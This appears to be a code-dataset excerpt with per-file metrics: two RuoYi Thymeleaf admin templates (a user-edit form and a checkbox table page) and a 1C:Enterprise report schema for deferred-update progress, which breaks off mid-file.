{"qsc_code_num_words": 221, "qsc_code_num_chars": 1898.0, "qsc_code_mean_word_length": 5.79638009, "qsc_code_frac_words_unique": 0.239819, "qsc_code_frac_chars_top_2grams": 0.01092896, "qsc_code_frac_chars_top_3grams": 0.04215457, "qsc_code_frac_chars_top_4grams": 0.04683841, "qsc_code_frac_chars_dupe_5grams": 0.55269321, "qsc_code_frac_chars_dupe_6grams": 0.39266198, "qsc_code_frac_chars_dupe_7grams": 0.36299766, "qsc_code_frac_chars_dupe_8grams": 0.25136612, "qsc_code_frac_chars_dupe_9grams": 0.25136612, "qsc_code_frac_chars_dupe_10grams": 0.25136612, "qsc_code_frac_chars_replacement_symbols": 0.0, "qsc_code_frac_chars_digital": 0.0136646, "qsc_code_frac_chars_whitespace": 0.15173867, "qsc_code_size_file_byte": 1898.0, "qsc_code_num_lines": 79.0, "qsc_code_num_chars_line_max": 83.0, "qsc_code_num_chars_line_mean": 24.02531646, "qsc_code_frac_chars_alphabet": 0.78198758, "qsc_code_frac_chars_comments": 0.0, "qsc_code_cate_xml_start": 0.0, "qsc_code_frac_lines_dupe_lines": 0.39393939, "qsc_code_cate_autogen": 0.0, "qsc_code_frac_lines_long_string": 0.0, "qsc_code_frac_chars_string_length": 0.04056902, "qsc_code_frac_chars_long_word_length": 0.01791359, "qsc_code_frac_lines_string_concat": 0.0, "qsc_code_cate_encoded_data": 0.0, "qsc_code_frac_chars_hex_words": 0.0, "qsc_code_frac_lines_prompt_comments": 0.0, "qsc_code_frac_lines_assert": 0.15151515, "qsc_codego_cate_testfile": 0.0, "qsc_codego_frac_lines_func_ratio": 0.09090909, "qsc_codego_cate_var_zero": 0.0, "qsc_codego_score_lines_no_logic": 0.10606061, "qsc_codego_frac_lines_print": 0.0}
1
{"qsc_code_frac_chars_replacement_symbols": 0, "qsc_code_num_words": 0, "qsc_code_num_chars": 0, "qsc_code_mean_word_length": 0, "qsc_code_frac_chars_top_2grams": 0, "qsc_code_frac_chars_top_3grams": 0, "qsc_code_frac_chars_top_4grams": 0, "qsc_code_frac_chars_dupe_5grams": 0, "qsc_code_frac_chars_dupe_6grams": 0, "qsc_code_frac_chars_dupe_7grams": 0, "qsc_code_frac_chars_dupe_8grams": 0, "qsc_code_frac_chars_dupe_9grams": 0, "qsc_code_frac_chars_dupe_10grams": 0, "qsc_code_size_file_byte": 0, "qsc_code_num_lines": 0, "qsc_code_num_chars_line_max": 0, "qsc_code_num_chars_line_mean": 0, "qsc_code_frac_chars_alphabet": 0, "qsc_code_frac_chars_digital": 0, "qsc_code_frac_chars_whitespace": 0, "qsc_code_frac_chars_comments": 0, "qsc_code_cate_xml_start": 0, "qsc_code_frac_lines_dupe_lines": 0, "qsc_code_cate_autogen": 0, "qsc_code_frac_lines_long_string": 0, "qsc_code_frac_chars_string_length": 0, "qsc_code_frac_chars_long_word_length": 0, "qsc_code_cate_encoded_data": 0, "qsc_code_frac_chars_hex_words": 0, "qsc_code_frac_lines_prompt_comments": 0, "qsc_codego_cate_testfile": 0, "qsc_codego_frac_lines_func_ratio": 0, "qsc_codego_cate_var_zero": 0, "qsc_codego_score_lines_no_logic": 0, "qsc_codego_frac_lines_print": 0}
1diot9/MyJavaSecStudy
CodeAudit/RuoYi/RuoYi-4.7.5/ruoyi-admin/src/main/resources/templates/demo/operate/edit.html
<!DOCTYPE html> <html lang="zh" xmlns:th="http://www.thymeleaf.org" > <head> <th:block th:include="include :: header('修改用户')" /> </head> <body class="white-bg"> <div class="wrapper wrapper-content animated fadeInRight ibox-content"> <form class="form-horizontal m" id="form-user-edit" th:object="${user}"> <input name="userId" type="hidden" th:field="*{userId}" /> <div class="form-group"> <label class="col-sm-3 control-label">用户编号:</label> <div class="col-sm-8"> <input class="form-control" type="text" name="userCode" id="userCode" th:field="*{userCode}" required> </div> </div> <div class="form-group"> <label class="col-sm-3 control-label">用户姓名:</label> <div class="col-sm-8"> <input class="form-control" type="text" name="userName" id="userName" th:field="*{userName}" required> </div> </div> <div class="form-group"> <label class="col-sm-3 control-label">用户性别:</label> <div class="col-sm-8"> <div class="input-group" style="width: 100%"> <select name="userSex" class="form-control m-b" th:with="type=${@dict.getType('sys_user_sex')}"> <option th:each="dict : ${type}" th:text="${dict.dictLabel}" th:value="${dict.dictValue}" th:field="*{userSex}"></option> </select> </div> </div> </div> <div class="form-group"> <label class="col-sm-3 control-label">用户手机:</label> <div class="col-sm-8"> <input class="form-control" type="text" name="userPhone" th:field="*{userPhone}" id="userPhone"> </div> </div> <div class="form-group"> <label class="col-sm-3 control-label">用户邮箱:</label> <div class="col-sm-8"> <input class="form-control" type="text" name="userEmail" th:field="*{userEmail}" id="userEmail"> </div> </div> <div class="form-group"> <label class="col-sm-3 control-label">用户状态:</label> <div class="col-sm-8"> <div class="radio-box" th:each="dict : ${@dict.getType('sys_normal_disable')}"> <input type="radio" th:id="${dict.dictCode}" name="status" th:value="${dict.dictValue}" th:field="*{status}"> <label th:for="${dict.dictCode}" th:text="${dict.dictLabel}"></label> </div> </div> </div> </form> </div> <th:block th:include="include :: footer" /> <script type="text/javascript"> var prefix = ctx + "demo/operate"; $("#form-user-add").validate({ onkeyup: false, rules:{ userPhone:{ isPhone:true }, userEmail:{ email:true }, }, focusCleanup: true }); function submitHandler() { if ($.validate.form()) { $.operate.save(prefix + "/edit", $('#form-user-edit').serialize()); } } </script> </body> </html>
2,789
edit
html
en
html
code
{"qsc_code_num_words": 356, "qsc_code_num_chars": 2789.0, "qsc_code_mean_word_length": 4.50842697, "qsc_code_frac_words_unique": 0.28651685, "qsc_code_frac_chars_top_2grams": 0.07476636, "qsc_code_frac_chars_top_3grams": 0.07476636, "qsc_code_frac_chars_top_4grams": 0.0635514, "qsc_code_frac_chars_dupe_5grams": 0.42242991, "qsc_code_frac_chars_dupe_6grams": 0.39376947, "qsc_code_frac_chars_dupe_7grams": 0.36012461, "qsc_code_frac_chars_dupe_8grams": 0.36012461, "qsc_code_frac_chars_dupe_9grams": 0.32647975, "qsc_code_frac_chars_dupe_10grams": 0.32647975, "qsc_code_frac_chars_replacement_symbols": 0.0, "qsc_code_frac_chars_digital": 0.00675371, "qsc_code_frac_chars_whitespace": 0.20365722, "qsc_code_size_file_byte": 2789.0, "qsc_code_num_lines": 79.0, "qsc_code_num_chars_line_max": 141.0, "qsc_code_num_chars_line_mean": 35.30379747, "qsc_code_frac_chars_alphabet": 0.71589374, "qsc_code_frac_chars_comments": 0.0, "qsc_code_cate_xml_start": 0.0, "qsc_code_frac_lines_dupe_lines": 0.35064935, "qsc_code_cate_autogen": 0.0, "qsc_code_frac_lines_long_string": 0.0, "qsc_code_frac_chars_string_length": 0.34098243, "qsc_code_frac_chars_long_word_length": 0.02689136, "qsc_code_frac_lines_string_concat": 0.0, "qsc_code_cate_encoded_data": 0.0, "qsc_code_frac_chars_hex_words": 0.0, "qsc_code_frac_lines_prompt_comments": 0.0, "qsc_code_frac_lines_assert": 0.0, "qsc_codehtml_cate_ast": 1.0, "qsc_codehtml_frac_words_text": 0.03155253, "qsc_codehtml_num_chars_text": 88.0}
0
{"qsc_code_frac_chars_replacement_symbols": 0, "qsc_code_num_words": 0, "qsc_code_num_chars": 0, "qsc_code_mean_word_length": 0, "qsc_code_frac_chars_top_2grams": 0, "qsc_code_frac_chars_top_3grams": 0, "qsc_code_frac_chars_top_4grams": 0, "qsc_code_frac_chars_dupe_5grams": 0, "qsc_code_frac_chars_dupe_6grams": 0, "qsc_code_frac_chars_dupe_7grams": 0, "qsc_code_frac_chars_dupe_8grams": 0, "qsc_code_frac_chars_dupe_9grams": 0, "qsc_code_frac_chars_dupe_10grams": 0, "qsc_code_size_file_byte": 0, "qsc_code_num_lines": 0, "qsc_code_num_chars_line_max": 0, "qsc_code_num_chars_line_mean": 0, "qsc_code_frac_chars_alphabet": 0, "qsc_code_frac_chars_digital": 0, "qsc_code_frac_chars_whitespace": 0, "qsc_code_cate_xml_start": 0, "qsc_code_frac_lines_dupe_lines": 0, "qsc_code_cate_autogen": 0, "qsc_code_cate_encoded_data": 0, "qsc_code_frac_chars_hex_words": 0, "qsc_codehtml_cate_ast": 0, "qsc_codehtml_frac_words_text": 1, "qsc_codehtml_num_chars_text": 1}
1diot9/MyJavaSecStudy
CodeAudit/RuoYi/RuoYi-4.7.5/ruoyi-admin/src/main/resources/templates/demo/modal/table/check.html
<!DOCTYPE html> <html lang="zh" xmlns:th="http://www.thymeleaf.org" xmlns:shiro="http://www.pollix.at/thymeleaf/shiro"> <head> <th:block th:include="include :: header('check表格页')" /> </head> <body class="gray-bg"> <div class="container-div"> <div class="row"> <div class="col-sm-12 select-table table-striped"> <table id="bootstrap-table"></table> </div> </div> </div> <div th:include="include :: footer"></div> <script th:inline="javascript"> var prefix = ctx + "demo/table"; var datas = [[${@dict.getType('sys_normal_disable')}]]; $(function() { var options = { url: prefix + "/list", showSearch: false, showRefresh: false, showToggle: false, showColumns: false, columns: [{ checkbox: true }, { field : 'userId', title : '用户ID' }, { field : 'userCode', title : '用户编号' }, { field : 'userName', title : '用户姓名' }, { field : 'userPhone', title : '用户手机' }, { field : 'userEmail', title : '用户邮箱' }, { field : 'userBalance', title : '用户余额' }, { field: 'status', title: '用户状态', align: 'center', formatter: function(value, row, index) { return $.table.selectDictLabel(datas, value); } }, { title: '操作', align: 'center', formatter: function(value, row, index) { var actions = []; actions.push('<a class="btn btn-success btn-xs" href="#"><i class="fa fa-edit"></i>编辑</a> '); actions.push('<a class="btn btn-danger btn-xs" href="#"><i class="fa fa-remove"></i>删除</a>'); return actions.join(''); } }] }; $.table.init(options); }); /* 添加用户-选择用户-提交 */ function submitHandler() { var rows = $.table.selectFirstColumns(); if (rows.length == 0) { $.modal.alertWarning("请至少选择一条记录"); return; } alert(rows.join()); } </script> </body> </html>
2,276
check
html
en
html
code
{"qsc_code_num_words": 211, "qsc_code_num_chars": 2276.0, "qsc_code_mean_word_length": 4.93364929, "qsc_code_frac_words_unique": 0.53080569, "qsc_code_frac_chars_top_2grams": 0.02305476, "qsc_code_frac_chars_top_3grams": 0.03073967, "qsc_code_frac_chars_top_4grams": 0.05379443, "qsc_code_frac_chars_dupe_5grams": 0.15946206, "qsc_code_frac_chars_dupe_6grams": 0.15946206, "qsc_code_frac_chars_dupe_7grams": 0.11527378, "qsc_code_frac_chars_dupe_8grams": 0.0, "qsc_code_frac_chars_dupe_9grams": 0.0, "qsc_code_frac_chars_dupe_10grams": 0.0, "qsc_code_frac_chars_replacement_symbols": 0.0, "qsc_code_frac_chars_digital": 0.00209351, "qsc_code_frac_chars_whitespace": 0.37038664, "qsc_code_size_file_byte": 2276.0, "qsc_code_num_lines": 86.0, "qsc_code_num_chars_line_max": 118.0, "qsc_code_num_chars_line_mean": 26.46511628, "qsc_code_frac_chars_alphabet": 0.7243545, "qsc_code_frac_chars_comments": 0.00790861, "qsc_code_cate_xml_start": 0.0, "qsc_code_frac_lines_dupe_lines": 0.08433735, "qsc_code_cate_autogen": 0.0, "qsc_code_frac_lines_long_string": 0.02409639, "qsc_code_frac_chars_string_length": 0.21469677, "qsc_code_frac_chars_long_word_length": 0.00929615, "qsc_code_frac_lines_string_concat": 0.0, "qsc_code_cate_encoded_data": 0.0, "qsc_code_frac_chars_hex_words": 0.0, "qsc_code_frac_lines_prompt_comments": 0.0, "qsc_code_frac_lines_assert": 0.0, "qsc_codehtml_cate_ast": 1.0, "qsc_codehtml_frac_words_text": 0.00702988, "qsc_codehtml_num_chars_text": 16.0}
0
{"qsc_code_frac_chars_replacement_symbols": 0, "qsc_code_num_words": 0, "qsc_code_num_chars": 0, "qsc_code_mean_word_length": 0, "qsc_code_frac_chars_top_2grams": 0, "qsc_code_frac_chars_top_3grams": 0, "qsc_code_frac_chars_top_4grams": 0, "qsc_code_frac_chars_dupe_5grams": 0, "qsc_code_frac_chars_dupe_6grams": 0, "qsc_code_frac_chars_dupe_7grams": 0, "qsc_code_frac_chars_dupe_8grams": 0, "qsc_code_frac_chars_dupe_9grams": 0, "qsc_code_frac_chars_dupe_10grams": 0, "qsc_code_size_file_byte": 0, "qsc_code_num_lines": 0, "qsc_code_num_chars_line_max": 0, "qsc_code_num_chars_line_mean": 0, "qsc_code_frac_chars_alphabet": 0, "qsc_code_frac_chars_digital": 0, "qsc_code_frac_chars_whitespace": 0, "qsc_code_cate_xml_start": 0, "qsc_code_frac_lines_dupe_lines": 0, "qsc_code_cate_autogen": 0, "qsc_code_cate_encoded_data": 0, "qsc_code_frac_chars_hex_words": 0, "qsc_codehtml_cate_ast": 0, "qsc_codehtml_frac_words_text": 1, "qsc_codehtml_num_chars_text": 1}
1c-syntax/ssl_3_1
src/cf/Reports/ПрогрессОтложенногоОбновления/Templates/ОсновнаяСхемаКомпоновкиДанных/Ext/Template.xml
<?xml version="1.0" encoding="UTF-8"?> <DataCompositionSchema xmlns="http://v8.1c.ru/8.1/data-composition-system/schema" xmlns:dcscom="http://v8.1c.ru/8.1/data-composition-system/common" xmlns:dcscor="http://v8.1c.ru/8.1/data-composition-system/core" xmlns:dcsset="http://v8.1c.ru/8.1/data-composition-system/settings" xmlns:v8="http://v8.1c.ru/8.1/data/core" xmlns:v8ui="http://v8.1c.ru/8.1/data/ui" xmlns:xs="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"> <dataSource> <name>ИсточникДанных1</name> <dataSourceType>Local</dataSourceType> </dataSource> <dataSet xsi:type="DataSetObject"> <name>НаборДанных1</name> <field xsi:type="DataSetFieldField"> <dataPath>ПолноеИмя</dataPath> <field>ПолноеИмя</field> <title xsi:type="v8:LocalStringType"> <v8:item> <v8:lang>ru</v8:lang> <v8:content>Полное имя</v8:content> </v8:item> </title> <valueType> <v8:Type>xs:string</v8:Type> <v8:StringQualifiers> <v8:Length>0</v8:Length> <v8:AllowedLength>Variable</v8:AllowedLength> </v8:StringQualifiers> </valueType> </field> <field xsi:type="DataSetFieldField"> <dataPath>ТипОбъекта</dataPath> <field>ТипОбъекта</field> <title xsi:type="v8:LocalStringType"> <v8:item> <v8:lang>ru</v8:lang> <v8:content>Объект</v8:content> </v8:item> </title> <valueType> <v8:Type>xs:string</v8:Type> <v8:StringQualifiers> <v8:Length>0</v8:Length> <v8:AllowedLength>Variable</v8:AllowedLength> </v8:StringQualifiers> </valueType> </field> <field xsi:type="DataSetFieldField"> <dataPath>ТипМетаданных</dataPath> <field>ТипМетаданных</field> <title xsi:type="v8:LocalStringType"> <v8:item> <v8:lang>ru</v8:lang> <v8:content>Метаданные</v8:content> </v8:item> </title> <valueType> <v8:Type>xs:string</v8:Type> <v8:StringQualifiers> <v8:Length>0</v8:Length> <v8:AllowedLength>Variable</v8:AllowedLength> </v8:StringQualifiers> </valueType> </field> <field xsi:type="DataSetFieldField"> <dataPath>КоличествоОбъектов</dataPath> <field>КоличествоОбъектов</field> <title xsi:type="v8:LocalStringType"> <v8:item> <v8:lang>ru</v8:lang> <v8:content>Осталось обработать</v8:content> </v8:item> </title> <valueType> <v8:Type>xs:decimal</v8:Type> <v8:NumberQualifiers> <v8:Digits>0</v8:Digits> <v8:FractionDigits>0</v8:FractionDigits> <v8:AllowedSign>Any</v8:AllowedSign> </v8:NumberQualifiers> </valueType> <appearance> <dcscor:item xsi:type="dcsset:SettingsParameterValue"> <dcscor:parameter>Формат</dcscor:parameter> <dcscor:value xsi:type="v8:LocalStringType"> <v8:item> <v8:lang>ru</v8:lang> <v8:content>ЧН=0</v8:content> </v8:item> </dcscor:value> </dcscor:item> </appearance> </field> <field xsi:type="DataSetFieldField"> <dataPath>Очередь</dataPath> <field>Очередь</field> <title xsi:type="v8:LocalStringType"> <v8:item> <v8:lang>ru</v8:lang> <v8:content>Очередь</v8:content> </v8:item> </title> <valueType> <v8:Type>xs:string</v8:Type> <v8:StringQualifiers> <v8:Length>0</v8:Length> <v8:AllowedLength>Variable</v8:AllowedLength> </v8:StringQualifiers> </valueType> </field> <field xsi:type="DataSetFieldField"> <dataPath>ОбработчикОбновления</dataPath> <field>ОбработчикОбновления</field> <title xsi:type="v8:LocalStringType"> <v8:item> <v8:lang>ru</v8:lang> <v8:content>Обработчик</v8:content> </v8:item> </title> <valueType> <v8:Type>xs:string</v8:Type> <v8:StringQualifiers> <v8:Length>0</v8:Length> <v8:AllowedLength>Variable</v8:AllowedLength> </v8:StringQualifiers> </valueType> <appearance> <dcscor:item xsi:type="dcsset:SettingsParameterValue"> <dcscor:parameter>ВертикальноеПоложение</dcscor:parameter> <dcscor:value xsi:type="v8ui:VerticalAlign">Center</dcscor:value> </dcscor:item> <dcscor:item xsi:type="dcsset:SettingsParameterValue"> <dcscor:use>false</dcscor:use> <dcscor:parameter>Размещение</dcscor:parameter> <dcscor:value xsi:type="dcscor:DataCompositionTextPlacementType">Overflow</dcscor:value> </dcscor:item> <dcscor:item xsi:type="dcsset:SettingsParameterValue"> <dcscor:parameter>МинимальнаяШирина</dcscor:parameter> <dcscor:value xsi:type="xs:decimal">100</dcscor:value> </dcscor:item> <dcscor:item xsi:type="dcsset:SettingsParameterValue"> <dcscor:parameter>МаксимальнаяШирина</dcscor:parameter> <dcscor:value xsi:type="xs:decimal">100</dcscor:value> </dcscor:item> <dcscor:item xsi:type="dcsset:SettingsParameterValue"> <dcscor:use>false</dcscor:use> <dcscor:parameter>РастягиватьПоГоризонтали</dcscor:parameter> <dcscor:value xsi:type="xs:boolean">true</dcscor:value> </dcscor:item> <dcscor:item xsi:type="dcsset:SettingsParameterValue"> <dcscor:use>false</dcscor:use> <dcscor:parameter>МинимальнаяВысота</dcscor:parameter> <dcscor:value xsi:type="xs:decimal">15</dcscor:value> </dcscor:item> <dcscor:item xsi:type="dcsset:SettingsParameterValue"> <dcscor:use>false</dcscor:use> <dcscor:parameter>МаксимальнаяВысота</dcscor:parameter> <dcscor:value xsi:type="xs:decimal">60</dcscor:value> </dcscor:item> </appearance> </field> <field xsi:type="DataSetFieldField"> <dataPath>ВсегоОбъектов</dataPath> <field>ВсегоОбъектов</field> <title xsi:type="v8:LocalStringType"> <v8:item> <v8:lang>ru</v8:lang> <v8:content>Всего объектов</v8:content> </v8:item> </title> <valueType> <v8:Type>xs:decimal</v8:Type> <v8:NumberQualifiers> <v8:Digits>0</v8:Digits> <v8:FractionDigits>0</v8:FractionDigits> <v8:AllowedSign>Any</v8:AllowedSign> </v8:NumberQualifiers> </valueType> </field> <field xsi:type="DataSetFieldField"> <dataPath>Представление</dataPath> <field>Представление</field> <title xsi:type="v8:LocalStringType"> <v8:item> <v8:lang>ru</v8:lang> <v8:content>Объект</v8:content> </v8:item> </title> <valueType> <v8:Type>xs:string</v8:Type> <v8:StringQualifiers> <v8:Length>0</v8:Length> <v8:AllowedLength>Variable</v8:AllowedLength> </v8:StringQualifiers> </valueType> </field> <field xsi:type="DataSetFieldField"> <dataPath>СинонимКонфигурации</dataPath> <field>СинонимКонфигурации</field> <title xsi:type="v8:LocalStringType"> <v8:item> <v8:lang>ru</v8:lang> <v8:content>Конфигурация</v8:content> </v8:item> </title> <valueType> <v8:Type>xs:string</v8:Type> <v8:StringQualifiers> <v8:Length>0</v8:Length> <v8:AllowedLength>Variable</v8:AllowedLength> </v8:StringQualifiers> </valueType> </field> <field xsi:type="DataSetFieldField"> <dataPath>ОбработаноЗаИнтервал</dataPath> <field>ОбработаноЗаИнтервал</field> <title xsi:type="v8:LocalStringType"> <v8:item> <v8:lang>ru</v8:lang> <v8:content>Обработано за период</v8:content> </v8:item> </title> <valueType> <v8:Type>xs:decimal</v8:Type> <v8:NumberQualifiers> <v8:Digits>0</v8:Digits> <v8:FractionDigits>0</v8:FractionDigits> <v8:AllowedSign>Any</v8:AllowedSign> </v8:NumberQualifiers> </valueType> <appearance> <dcscor:item xsi:type="dcsset:SettingsParameterValue"> <dcscor:parameter>Формат</dcscor:parameter> <dcscor:value xsi:type="v8:LocalStringType"> <v8:item> <v8:lang>ru</v8:lang> <v8:content>ЧН=0</v8:content> </v8:item> </dcscor:value> </dcscor:item> </appearance> </field> <field xsi:type="DataSetFieldField"> <dataPath>Статус</dataPath> <field>Статус</field> <title xsi:type="v8:LocalStringType"> <v8:item> <v8:lang>ru</v8:lang> <v8:content>Статус</v8:content> </v8:item> </title> <valueType> <v8:Type xmlns:d5p1="http://v8.1c.ru/8.1/data/enterprise/current-config">d5p1:EnumRef.СтатусыОбработчиковОбновления</v8:Type> </valueType> </field> <field xsi:type="DataSetFieldField"> <dataPath>ЕстьОшибки</dataPath> <field>ЕстьОшибки</field> <title xsi:type="v8:LocalStringType"> <v8:item> <v8:lang>ru</v8:lang> <v8:content>Проблема в обработчике</v8:content> </v8:item> </title> <valueType> <v8:Type>xs:boolean</v8:Type> </valueType> </field> <field xsi:type="DataSetFieldField"> <dataPath>ПроблемаВДанных</dataPath> <field>ПроблемаВДанных</field> <title xsi:type="v8:LocalStringType"> <v8:item> <v8:lang>ru</v8:lang> <v8:content>Проблема в данных</v8:content> </v8:item> </title> <valueType> <v8:Type>xs:boolean</v8:Type> </valueType> </field> <dataSource>ИсточникДанных1</dataSource> <objectName>ТаблицаРезультата</objectName> </dataSet> <calculatedField> <dataPath>Прогресс</dataPath> <expression>0</expression> <title xsi:type="v8:LocalStringType"> <v8:item> <v8:lang>ru</v8:lang> <v8:content>Общий прогресс, %</v8:content> </v8:item> </title> <appearance> <dcscor:item xsi:type="dcsset:SettingsParameterValue"> <dcscor:parameter>Формат</dcscor:parameter> <dcscor:value xsi:type="v8:LocalStringType"> <v8:item> <v8:lang>ru</v8:lang> <v8:content>ЧДЦ=2; ЧН=0</v8:content> </v8:item> </dcscor:value> </dcscor:item> </appearance> <valueType> <v8:Type>xs:decimal</v8:Type> <v8:NumberQualifiers> <v8:Digits>0</v8:Digits> <v8:FractionDigits>0</v8:FractionDigits> <v8:AllowedSign>Any</v8:AllowedSign> </v8:NumberQualifiers> </valueType> </calculatedField> <calculatedField> <dataPath>РасшифровкаПоля</dataPath> <expression>ОбновлениеИнформационнойБазыСлужебный.РасшифровкаЯчейки(Статус, ЕстьОшибки, ПроблемаВДанных)</expression> <title xsi:type="v8:LocalStringType"> <v8:item> <v8:lang>ru</v8:lang> <v8:content>Расшифровка поля</v8:content> </v8:item> </title> </calculatedField> <totalField> <dataPath>КоличествоОбъектов</dataPath> <expression>Сумма(КоличествоОбъектов)</expression> </totalField> <totalField> <dataPath>ВсегоОбъектов</dataPath> <expression>Сумма(ВсегоОбъектов)</expression> </totalField> <totalField> <dataPath>ОбработаноЗаИнтервал</dataPath> <expression>Сумма(ОбработаноЗаИнтервал)</expression> </totalField> <totalField> <dataPath>Прогресс</dataPath> <expression>Цел(((Сумма(ВсегоОбъектов) - Сумма(КоличествоОбъектов))/Сумма(ВсегоОбъектов)*100)*100)/100</expression> </totalField> <parameter> <name>Кеш</name> <title xsi:type="v8:LocalStringType"> <v8:item> <v8:lang>ru</v8:lang> <v8:content>Кеш</v8:content> </v8:item> </title> <value xsi:nil="true"/> <useRestriction>true</useRestriction> <availableAsField>false</availableAsField> </parameter> <parameter> <name>КешПриоритетов</name> <title xsi:type="v8:LocalStringType"> <v8:item> <v8:lang>ru</v8:lang> <v8:content>Кеш приоритетов</v8:content> </v8:item> </title> <value xsi:nil="true"/> <useRestriction>true</useRestriction> <availableAsField>false</availableAsField> </parameter> <parameter> <name>ПрогрессОбработки</name> <title xsi:type="v8:LocalStringType"> <v8:item> <v8:lang>ru</v8:lang> <v8:content>Прогресс обработки</v8:content> </v8:item> </title> <valueType> <v8:Type>xs:string</v8:Type> <v8:StringQualifiers> <v8:Length>0</v8:Length> <v8:AllowedLength>Variable</v8:AllowedLength> </v8:StringQualifiers> </valueType> <value xsi:type="xs:string"/> <useRestriction>false</useRestriction> </parameter> <parameter> <name>КешироватьРезультат</name> <title xsi:type="v8:LocalStringType"> <v8:item> <v8:lang>ru</v8:lang> <v8:content>Сформировать по собранным данным</v8:content> </v8:item> </title> <valueType> <v8:Type>xs:boolean</v8:Type> </valueType> <value xsi:type="xs:boolean">false</value> <useRestriction>false</useRestriction> <inputParameters> <dcscor:item> <dcscor:use>false</dcscor:use> <dcscor:parameter>ФорматРедактирования</dcscor:parameter> <dcscor:value xsi:type="v8:LocalStringType"> <v8:item> <v8:lang>ru</v8:lang> <v8:content>БЛ='Собрать данные и сформировать'; БИ='Сформировать по собранным данным'</v8:content> </v8:item> </dcscor:value> </dcscor:item> </inputParameters> <use>Always</use> </parameter> <template> <name>Макет1</name> <template xmlns:dcsat="http://v8.1c.ru/8.1/data-composition-system/area-template" xsi:type="dcsat:AreaTemplate"> <dcsat:item xsi:type="dcsat:TableRow"> <dcsat:tableCell> <dcsat:appearance> <dcscor:item> <dcscor:parameter>МинимальнаяШирина</dcscor:parameter> <dcscor:value xsi:type="xs:decimal">3.875</dcscor:value> </dcscor:item> <dcscor:item> <dcscor:parameter>МаксимальнаяШирина</dcscor:parameter> <dcscor:value xsi:type="xs:decimal">3.875</dcscor:value> </dcscor:item> </dcsat:appearance> </dcsat:tableCell> <dcsat:tableCell> <dcsat:appearance> <dcscor:item> <dcscor:parameter>МинимальнаяШирина</dcscor:parameter> <dcscor:value xsi:type="xs:decimal">3.125</dcscor:value> </dcscor:item> <dcscor:item> <dcscor:parameter>МаксимальнаяШирина</dcscor:parameter> <dcscor:value xsi:type="xs:decimal">3.125</dcscor:value> </dcscor:item> <dcscor:item> <dcscor:parameter>Картинка</dcscor:parameter> <dcscor:value xsi:type="v8ui:Picture" ref="v8ui:Предупреждение"/> </dcscor:item> </dcsat:appearance> </dcsat:tableCell> <dcsat:tableCell> <dcsat:item xsi:type="dcsat:Field"> <dcsat:value xsi:type="v8:LocalStringType"> <v8:item> <v8:lang>ru</v8:lang> <v8:content>- есть ошибки при выполнении обработчика или в данных, которые он обрабатывает</v8:content> </v8:item> </dcsat:value> </dcsat:item> <dcsat:appearance> <dcscor:item> <dcscor:parameter>ВертикальноеПоложение</dcscor:parameter> <dcscor:value xsi:type="v8ui:VerticalAlign">Center</dcscor:value> </dcscor:item> <dcscor:item> <dcscor:parameter>МинимальнаяШирина</dcscor:parameter> <dcscor:value xsi:type="xs:decimal">26</dcscor:value> </dcscor:item> <dcscor:item> <dcscor:parameter>МаксимальнаяШирина</dcscor:parameter> <dcscor:value xsi:type="xs:decimal">26</dcscor:value> </dcscor:item> </dcsat:appearance> </dcsat:tableCell> <dcsat:tableCell> <dcsat:appearance> <dcscor:item> <dcscor:parameter>МинимальнаяШирина</dcscor:parameter> <dcscor:value xsi:type="xs:decimal">3.375</dcscor:value> </dcscor:item> <dcscor:item> <dcscor:parameter>МаксимальнаяШирина</dcscor:parameter> <dcscor:value xsi:type="xs:decimal">3.375</dcscor:value> </dcscor:item> </dcsat:appearance> </dcsat:tableCell> <dcsat:tableCell> <dcsat:appearance> <dcscor:item> <dcscor:parameter>МинимальнаяШирина</dcscor:parameter> <dcscor:value xsi:type="xs:decimal">4.75</dcscor:value> </dcscor:item> <dcscor:item> <dcscor:parameter>МаксимальнаяШирина</dcscor:parameter> <dcscor:value xsi:type="xs:decimal">4.75</dcscor:value> </dcscor:item> </dcsat:appearance> </dcsat:tableCell> <dcsat:tableCell> <dcsat:appearance> <dcscor:item> <dcscor:parameter>МинимальнаяШирина</dcscor:parameter> <dcscor:value xsi:type="xs:decimal">3.25</dcscor:value> </dcscor:item> <dcscor:item> <dcscor:parameter>МаксимальнаяШирина</dcscor:parameter> <dcscor:value xsi:type="xs:decimal">3.25</dcscor:value> </dcscor:item> </dcsat:appearance> </dcsat:tableCell> <dcsat:tableCell> <dcsat:appearance> <dcscor:item> <dcscor:parameter>МинимальнаяШирина</dcscor:parameter> <dcscor:value xsi:type="xs:decimal">29.375</dcscor:value> </dcscor:item> <dcscor:item> <dcscor:parameter>МаксимальнаяШирина</dcscor:parameter> <dcscor:value xsi:type="xs:decimal">29.375</dcscor:value> </dcscor:item> </dcsat:appearance> </dcsat:tableCell> <dcsat:tableCell/> <dcsat:tableCell/> </dcsat:item> <dcsat:item xsi:type="dcsat:TableRow"> <dcsat:tableCell> <dcsat:appearance> <dcscor:item> <dcscor:parameter>МинимальнаяШирина</dcscor:parameter> <dcscor:value xsi:type="xs:decimal">3.875</dcscor:value> </dcscor:item> <dcscor:item> <dcscor:parameter>МаксимальнаяШирина</dcscor:parameter> <dcscor:value xsi:type="xs:decimal">3.875</dcscor:value> </dcscor:item> </dcsat:appearance> </dcsat:tableCell> <dcsat:tableCell> <dcsat:appearance> <dcscor:item> <dcscor:parameter>МинимальнаяШирина</dcscor:parameter> <dcscor:value xsi:type="xs:decimal">3.125</dcscor:value> </dcscor:item> <dcscor:item> <dcscor:parameter>МаксимальнаяШирина</dcscor:parameter> <dcscor:value xsi:type="xs:decimal">3.125</dcscor:value> </dcscor:item> </dcsat:appearance> </dcsat:tableCell> <dcsat:tableCell> <dcsat:item xsi:type="dcsat:Field"> <dcsat:value xsi:type="v8:LocalStringType"> <v8:item> <v8:lang>ru</v8:lang> <v8:content>посмотреть их можно по команде </v8:content> </v8:item> </dcsat:value> </dcsat:item> <dcsat:appearance> <dcscor:item> <dcscor:parameter>ВертикальноеПоложение</dcscor:parameter> <dcscor:value xsi:type="v8ui:VerticalAlign">Center</dcscor:value> </dcscor:item> <dcscor:item> <dcscor:parameter>МинимальнаяШирина</dcscor:parameter> <dcscor:value xsi:type="xs:decimal">26</dcscor:value> </dcscor:item> <dcscor:item> <dcscor:parameter>МаксимальнаяШирина</dcscor:parameter> <dcscor:value xsi:type="xs:decimal">26</dcscor:value> </dcscor:item> </dcsat:appearance> </dcsat:tableCell> <dcsat:tableCell> <dcsat:appearance> <dcscor:item> 